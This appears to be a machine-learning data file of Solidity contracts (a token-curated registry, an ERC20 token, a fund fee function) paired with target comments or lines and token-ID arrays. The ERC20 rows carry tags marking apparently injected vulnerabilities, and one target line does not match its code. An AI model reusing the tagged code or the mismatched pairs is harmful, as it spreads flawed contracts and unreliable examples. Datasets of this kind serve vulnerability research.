Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
// Cannot exit during ongoing challenge
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
// Remove listingHash & return tokens
resetListing(_listingHash);
emit _ListingWithdrawn(_listingHash);
}
// -----------------------
// TOKEN HOLDER INTERFACE:
// -----------------------
/**
@dev Starts a poll for a listingHash which is either in the apply stage or
already in the whitelist. Tokens are taken from the challenger and the
applicant's deposits are locked.
@param _listingHash The listingHash being challenged, whether listed or in application
@param _deposit The deposit with which the listing is challenge (used to be `minDeposit`)
@param _data Extra data relevant to the challenge. Think IPFS hashes.
*/
function challenge(bytes32 _listingHash, uint _deposit, string _data) onlyIfCurrentRegistry external returns (uint challengeID) {
Listing storage listing = listings[_listingHash];
uint minDeposit = parameterizer.get("minDeposit");
// Listing must be in apply stage or already on the whitelist
require(appWasMade(_listingHash) || listing.whitelisted);
// Prevent multiple challenges
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
if (listing.unstakedDeposit < minDeposit) {
// Not enough tokens, listingHash auto-delisted
resetListing(_listingHash);
emit _TouchAndRemoved(_listingHash);
return 0;
}
// Starts poll
uint pollID = voting.startPoll(
parameterizer.get("voteQuorum"),
parameterizer.get("commitStageLen"),
parameterizer.get("revealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((100 - parameterizer.get("dispensationPct")) * _deposit) / 100,
stake: _deposit,
resolved: false,
totalTokens: 0
});
// Updates listingHash to store most recent challenge
listing.challengeID = pollID;
// make sure _deposit is more than minDeposit and smaller than unstaked deposit
require(_deposit >= minDeposit && _deposit <= listing.unstakedDeposit);
// Locks tokens for listingHash during challenge
listing.unstakedDeposit = listing.unstakedDeposit.sub(_deposit);
// Takes tokens from challenger
require(token.transferFrom(msg.sender, this, _deposit));
emit _Challenge(_listingHash, pollID, _deposit, _data);
return pollID;
}
/**
@dev Updates a listingHash's status from 'application' to 'listing' or resolves
a challenge if one exists.
@param _listingHash The listingHash whose status is being updated
*/
function updateStatus(bytes32 _listingHash) public {
if (canBeWhitelisted(_listingHash)) {
whitelistApplication(_listingHash);
} else if (challengeCanBeResolved(_listingHash)) {
resolveChallenge(_listingHash);
} else {
revert();
}
}
// ----------------
// TOKEN FUNCTIONS:
// ----------------
/**
@dev Called by a voter to claim their reward for each completed vote. Someone
must call updateStatus() before this can be called.
@param _challengeID The PLCR pollID of the challenge a reward is being claimed for
@param _salt The salt of a voter's commit hash in the given poll
*/
function claimReward(uint _challengeID, uint _salt) public {
// Ensures the voter has not already claimed tokens and challenge results have been processed
require(challenges[_challengeID].tokenClaims[msg.sender] == false);
require(challenges[_challengeID].resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID, _salt);
uint reward = voterReward(msg.sender, _challengeID, _salt);
// Subtracts the voter's information to preserve the participation ratios
// of other voters compared to the remaining pool of rewards
challenges[_challengeID].totalTokens = challenges[_challengeID].totalTokens.sub(voterTokens);
challenges[_challengeID].rewardPool = challenges[_challengeID].rewardPool.sub(reward);
// Ensures a voter cannot claim tokens again
challenges[_challengeID].tokenClaims[msg.sender] = true;
require(token.transfer(msg.sender, reward));
emit _RewardClaimed(_challengeID, reward, msg.sender);
}
// --------
// GETTERS:
// --------
/**
@dev Calculates the provided voter's token reward for the given poll.
@param _voter The address of the voter whose reward balance is to be returned
@param _challengeID The pollID of the challenge a reward balance is being queried for
@param _salt The salt of the voter's commit hash in the given poll
@return The uint indicating the voter's reward
*/
function voterReward(address _voter, uint _challengeID, uint _salt)
public view returns (uint) {
uint totalTokens = challenges[_challengeID].totalTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID, _salt);
return (voterTokens * rewardPool) / totalTokens;
}
/**
@dev Determines whether the given listingHash can be whitelisted.
@param _listingHash The listingHash whose status is to be examined
*/
function canBeWhitelisted(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
// Ensures that the application was made,
// the application period has ended,
// the listingHash can be whitelisted,
// and either: the challengeID == 0, or the challenge has been resolved.
if (
appWasMade(_listingHash) &&
listings[_listingHash].applicationExpiry < now &&
!isWhitelisted(_listingHash) &&
(challengeID == 0 || challenges[challengeID].resolved == true)
) {
return true;
}
return false;
}
/**
@dev Returns true if the provided address is whitelisted
@param _who The address whose status is to be examined
*/
function isHuman(address _who) view public returns (bool human) {
return humans[_who];
}
/**
@dev Returns true if the provided listingHash is whitelisted
@param _listingHash The listingHash whose status is to be examined
*/
function isWhitelisted(bytes32 _listingHash) view public returns (bool whitelisted) {
return listings[_listingHash].whitelisted;
}
/**
@dev Returns true if apply was called for this listingHash
@param _listingHash The listingHash whose status is to be examined
*/
function appWasMade(bytes32 _listingHash) view public returns (bool exists) {
return listings[_listingHash].applicationExpiry > 0;
}
/**
@dev Returns true if the application/listingHash has an unresolved challenge
@param _listingHash The listingHash whose status is to be examined
*/
function challengeExists(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
return (challengeID > 0 && !challenges[challengeID].resolved);
}
/**
@dev Determines whether voting has concluded in a challenge for a given
listingHash. Throws if no challenge exists.
@param _listingHash A listingHash with an unresolved challenge
*/
function challengeCanBeResolved(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
require(challengeExists(_listingHash));
return voting.pollEnded(challengeID);
}
/**
@dev Determines the number of tokens awarded to the winning party in a challenge.
@param _challengeID The challengeID to determine a reward for
*/
function determineReward(uint _challengeID) public view returns (uint) {
require(!challenges[_challengeID].resolved && voting.pollEnded(_challengeID));
// Edge case, nobody voted, give all tokens to the challenger.
if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return challenges[_challengeID].stake.mul(2);
}
return (challenges[_challengeID].stake).mul(2).sub(challenges[_challengeID].rewardPool);
}
/**
@dev Getter for Challenge tokenClaims mappings
@param _challengeID The challengeID to query
@param _voter The voter whose claim status to query for the provided challengeID
*/
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
// ----------------
// PRIVATE FUNCTIONS:
// ----------------
/**
@dev Determines the winner in a challenge. Rewards the winner tokens and
either whitelists or de-whitelists the listingHash.
@param _listingHash A listingHash with a challenge that is to be resolved
*/
function resolveChallenge(bytes32 _listingHash) private {
uint challengeID = listings[_listingHash].challengeID;
// Calculates the winner's reward,
// which is: (winner's full stake) + (dispensationPct * loser's stake)
uint reward = determineReward(challengeID);
// Sets flag on challenge being processed
challenges[challengeID].resolved = true;
// Stores the total tokens used for voting by the winning side for reward purposes
challenges[challengeID].totalTokens =
voting.getTotalNumberOfTokensForWinningOption(challengeID);
// Case: challenge failed
if (voting.isPassed(challengeID)) {
whitelistApplication(_listingHash);
// Unlock stake so that it can be retrieved by the applicant
listings[_listingHash].unstakedDeposit = listings[_listingHash].unstakedDeposit.add(reward);
totalStaked[listings[_listingHash].owner] = totalStaked[listings[_listingHash].owner].add(reward);
emit _ChallengeFailed(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
// Case: challenge succeeded or nobody voted
else {
resetListing(_listingHash);
// Transfer the reward to the challenger
require(token.transfer(challenges[challengeID].challenger, reward));
emit _ChallengeSucceeded(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
}
/**
@dev Called by updateStatus() if the applicationExpiry date passed without a
challenge being made. Called by resolveChallenge() if an
application/listing beat a challenge.
@param _listingHash The listingHash of an application/listingHash to be whitelisted
*/
function whitelistApplication(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
if (!listing.whitelisted) {
emit _ApplicationWhitelisted(_listingHash);
}
listing.whitelisted = true;
// Add the owner to the human whitelist
humans[listing.owner] = true;
}
/**
@dev Deletes a listingHash from the whitelist and transfers tokens back to owner
@param _listingHash The listing hash to delete
*/
function resetListing(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
// Emit events before deleting listing to check whether is whitelisted
if (listing.whitelisted) {
emit _ListingRemoved(_listingHash);
} else {
emit _ApplicationRemoved(_listingHash);
}
// Deleting listing to prevent reentry
address owner = listing.owner;
uint unstakedDeposit = listing.unstakedDeposit;
delete listings[_listingHash];
// Remove owner from human whitelist
delete humans[owner];
// Transfers any remaining balance back to the owner
if (unstakedDeposit > 0){
require(token.transfer(owner, unstakedDeposit));
}
}
/**
@dev Modifier to specify that a function can only be called if this is the current registry.
*/
modifier onlyIfCurrentRegistry() {
require(parameterizer.getNewRegistry() == address(0));
_;
}
/**
@dev Modifier to specify that a function cannot be called if this is the current registry.
*/
modifier onlyIfOutdatedRegistry() {
require(parameterizer.getNewRegistry() != address(0));
_;
}
/**
@dev Check if a listing exists in the registry by checking that its owner is not zero
Since all solidity mappings have every key set to zero, we check that the address of the creator isn't zero.
*/
function listingExists(bytes32 listingHash) public view returns (bool) {
return listings[listingHash].owner != address(0);
}
/**
@dev migrates a listing
*/
function migrateListing(bytes32 listingHash) onlyIfOutdatedRegistry public {
require(listingExists(listingHash)); // duh
require(!challengeExists(listingHash)); // can't migrate a listing that's challenged
address newRegistryAddress = parameterizer.getNewRegistry();
SupercedesRegistry newRegistry = SupercedesRegistry(newRegistryAddress);
Listing storage listing = listings[listingHash];
require(newRegistry.canReceiveListing(
listingHash, listing.applicationExpiry,
listing.whitelisted, listing.owner,
listing.unstakedDeposit, listing.challengeID
));
token.approve(newRegistry, listing.unstakedDeposit);
newRegistry.receiveListing(
listingHash, listing.applicationExpiry,
listing.whitelisted, listing.owner,
listing.unstakedDeposit, listing.challengeID
);
delete listings[listingHash];
emit _ListingMigrated(listingHash, newRegistryAddress);
}
} | update listing to store most recent challenge
| proposals[_propID].challengeID = pollID; | 1,142,468 | [
1,
2725,
11591,
358,
1707,
4486,
8399,
12948,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
450,
22536,
63,
67,
5986,
734,
8009,
25092,
734,
273,
7672,
734,
31,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-07-23
*/
pragma solidity ^0.5.1;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _owner) onlyOwner public {
require(_owner != address(0));
owner = _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit OwnershipTransferred(owner, _owner); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract ERC20Token is ERC20, Owned {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
// True if transfers are allowed
bool internal transferable = true;
modifier canTransfer() {
require(transferable == true);
_;
}
function setTransferable(bool _transferable) onlyOwner public {
transferable = _transferable; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balances[msg.sender] = balances[msg.sender].sub(_value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balances[_to] = balances[_to].add(_value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(_value <= allowed[_from][msg.sender]); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balances[_from] = balances[_from].sub(_value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
balances[_to] = balances[_to].add(_value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Transfer(_from, _to, _value);
return true;
}
// Allow `_spender` to withdraw from your account, multiple times.
function approve(address _spender, uint _value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
revert();
}
allowed[msg.sender][_spender] = _value; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function () external payable {
revert();
}
}
contract SealToken is ERC20Token{
string public name = "SealSC";
string public symbol = "SEAL";
uint8 public decimals = 18;
uint256 public totalSupplyCap = 10 * 10**8 * 10**uint256(decimals);
constructor(address _issuer) public Owned(_issuer) {
totalSupply = totalSupplyCap;
balances[msg.sender] = totalSupplyCap;
emit Transfer(address(0), msg.sender, totalSupplyCap);
}
} | inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
| return allowed[_owner][_spender]; | 14,103,106 | [
1,
22170,
18708,
14939,
8350,
13255,
40,
6953,
17187,
478,
21163,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
202,
2463,
2935,
63,
67,
8443,
6362,
67,
87,
1302,
264,
15533,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xce346aD7046222Fd119F6B715B6F60C0FDBFe796/sources/home/david/repc-v1.1.0/contracts/RariFundManager.sol | * @dev Internal function to deposit all accrued fees on interest back into the fund on behalf of the master beneficiary. @return Integer indicating success (0), no fees to claim (1), or no REPT to mint (2)./ | function _depositFees() internal fundEnabled cacheRawFundBalance returns (uint8) {
require(_interestFeeMasterBeneficiary != address(0), "Master beneficiary cannot be the zero address.");
uint256 amount = getInterestFeesUnclaimed();
if (amount <= 0) return 1;
uint256 reptTotalSupply = rariFundToken.totalSupply();
uint256 reptAmount = 0;
if (reptTotalSupply > 0) {
uint256 fundBalance = getFundBalance();
if (fundBalance > 0) reptAmount = amount.mul(reptTotalSupply).div(fundBalance);
else reptAmount = amount;
} else reptAmount = amount;
if (reptAmount <= 0) return 2;
_interestFeesClaimed = _interestFeesClaimed.add(amount);
_netDeposits = _netDeposits.add(int256(amount));
require(rariFundToken.mint(_interestFeeMasterBeneficiary, reptAmount), "Failed to mint output tokens.");
emit Deposit(_interestFeeMasterBeneficiary, _interestFeeMasterBeneficiary, amount, reptAmount);
emit InterestFeeDeposit(_interestFeeMasterBeneficiary, amount);
if (address(rariGovernanceTokenDistributor) != address(0) && block.number < rariGovernanceTokenDistributor.distributionEndBlock()) rariGovernanceTokenDistributor.refreshDistributionSpeeds(IRariGovernanceTokenDistributor.RariPool.Ethereum, getFundBalance());
return 0;
}
| 3,567,836 | [
1,
3061,
445,
358,
443,
1724,
777,
4078,
86,
5957,
1656,
281,
603,
16513,
1473,
1368,
326,
284,
1074,
603,
12433,
6186,
434,
326,
4171,
27641,
74,
14463,
814,
18,
327,
2144,
11193,
2216,
261,
20,
3631,
1158,
1656,
281,
358,
7516,
261,
21,
3631,
578,
1158,
2438,
1856,
358,
312,
474,
261,
22,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
323,
1724,
2954,
281,
1435,
2713,
284,
1074,
1526,
1247,
4809,
42,
1074,
13937,
1135,
261,
11890,
28,
13,
288,
203,
3639,
2583,
24899,
2761,
395,
14667,
7786,
38,
4009,
74,
14463,
814,
480,
1758,
12,
20,
3631,
315,
7786,
27641,
74,
14463,
814,
2780,
506,
326,
3634,
1758,
1199,
1769,
203,
203,
3639,
2254,
5034,
3844,
273,
336,
29281,
2954,
281,
984,
14784,
329,
5621,
203,
3639,
309,
261,
8949,
1648,
374,
13,
327,
404,
31,
203,
203,
3639,
2254,
5034,
283,
337,
5269,
3088,
1283,
273,
436,
12954,
42,
1074,
1345,
18,
4963,
3088,
1283,
5621,
203,
3639,
2254,
5034,
283,
337,
6275,
273,
374,
31,
203,
203,
3639,
309,
261,
266,
337,
5269,
3088,
1283,
405,
374,
13,
288,
203,
5411,
2254,
5034,
284,
1074,
13937,
273,
2812,
1074,
13937,
5621,
203,
5411,
309,
261,
74,
1074,
13937,
405,
374,
13,
283,
337,
6275,
273,
3844,
18,
16411,
12,
266,
337,
5269,
3088,
1283,
2934,
2892,
12,
74,
1074,
13937,
1769,
203,
5411,
469,
283,
337,
6275,
273,
3844,
31,
203,
3639,
289,
469,
283,
337,
6275,
273,
3844,
31,
203,
203,
3639,
309,
261,
266,
337,
6275,
1648,
374,
13,
327,
576,
31,
203,
203,
3639,
389,
2761,
395,
2954,
281,
9762,
329,
273,
389,
2761,
395,
2954,
281,
9762,
329,
18,
1289,
12,
8949,
1769,
203,
3639,
389,
2758,
758,
917,
1282,
273,
389,
2758,
758,
917,
1282,
18,
1289,
12,
474,
5034,
12,
8949,
10019,
203,
203,
3639,
2583,
12,
86,
12954,
42,
1074,
1345,
2
]
|
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableMapUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "contracts/interfaces/apwine/tokens/IFutureYieldToken.sol";
import "contracts/interfaces/apwine/IFuture.sol";
import "contracts/interfaces/apwine/IRegistry.sol";
import "contracts/interfaces/apwine/utils/IAPWineNaming.sol";
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
/**
* @title Controller contract
* @notice The controller dictates the future mechanisms and serves as an interface for main user interaction with futures
*/
contract Controller is Initializable, AccessControlUpgradeable {
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet;
using SafeMathUpgradeable for uint256;
/* ACR Roles*/
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/* Attributes */
IRegistry public registry;
mapping(uint256 => uint256) private nextPeriodSwitchByDuration;
mapping(uint256 => uint256) private unlockClaimableFactorByDuration; // represented as x/1000
EnumerableSetUpgradeable.UintSet private durations;
mapping(uint256 => EnumerableSetUpgradeable.AddressSet) private futuresByDuration;
mapping(uint256 => uint256) private periodIndexByDurations;
EnumerableSetUpgradeable.AddressSet private pausedFutures;
/* Events */
event PlatformRegistered(address _platformControllerAddress);
event PlatformUnregistered(address _platformControllerAddress);
event NextPeriodSwitchSet(uint256 _periodDuration, uint256 _nextSwitchTimestamp);
event FutureRegistered(address _newFutureAddress);
event FutureUnregistered(address _future);
event NewUnlockClaimableFactor(uint256 _periodDuration, uint256 _newYieldUnlockFactor);
event StartingDelaySet(uint256 _startingDelay);
/* PlatformController Settings */
uint256 public STARTING_DELAY;
/* Modifiers */
modifier futureIsValid(address _future) {
require(registry.isRegisteredFuture(_future), "incorrect future address");
_;
}
/* Initializer */
/**
* @notice Initializer of the Controller contract
* @param _admin the address of the admin
*/
function initialize(address _admin, address _registry) public initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(ADMIN_ROLE, _admin);
registry = IRegistry(_registry);
}
/**
* @notice Change the delay for starting a new period
